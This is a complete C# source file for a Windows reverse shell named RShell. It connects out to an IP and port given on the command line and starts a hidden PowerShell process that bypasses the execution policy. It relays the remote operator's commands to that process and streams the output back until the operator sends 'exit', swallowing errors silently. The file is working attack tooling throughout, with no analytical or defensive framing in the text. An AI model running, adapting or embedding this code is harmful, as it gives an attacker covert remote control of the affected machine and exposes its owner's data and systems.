using System;
using System.IO;
using System.Net.Sockets;
using System.Diagnostics;
namespace RShell
{
internal class Program
{
private static StreamWriter streamWriter; // Needs to be global so that HandleDataReceived() can access it
static void Main(string[] args)
{
// Check for correct number of arguments
if (args.Length != 2)
{
Console.WriteLine("Usage: RShell.exe <IP> <Port>");
return;
}
try
{
// Connect to <IP> on <Port>/TCP
TcpClient client = new TcpClient();
client.Connect(args[0], int.Parse(args[1]));
// Set up input/output streams
Stream stream = client.GetStream();
StreamReader streamReader = new StreamReader(stream);
streamWriter = new StreamWriter(stream);
// Define a hidden PowerShell (-ep bypass -nologo) process with STDOUT/ERR/IN all redirected
Process p = new Process();
p.StartInfo.FileName = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
p.StartInfo.Arguments = "-ep bypass -nologo";
p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.RedirectStandardInput = true;
p.OutputDataReceived += new DataReceivedEventHandler(HandleDataReceived);
p.ErrorDataReceived += new DataReceivedEventHandler(HandleDataReceived);
// Start process and begin reading output
p.Start();
p.BeginOutputReadLine();
p.BeginErrorReadLine();
// Re-route user-input to STDIN of the PowerShell process
// If we see the user sent "exit", we can stop
string userInput = "";
while (!userInput.Equals("exit"))
{
userInput = streamReader.ReadLine();
p.StandardInput.WriteLine(userInput);
}
// Wait for PowerShell to exit (based on user-inputted exit), and close the process
p.WaitForExit();
client.Close();
}
catch (Exception) { }
}
private static void HandleDataReceived(object sender, DataReceivedEventArgs e)
{
if (e.Data != null)
{
streamWriter.WriteLine(e.Data);
streamWriter.Flush();
}
}
}
}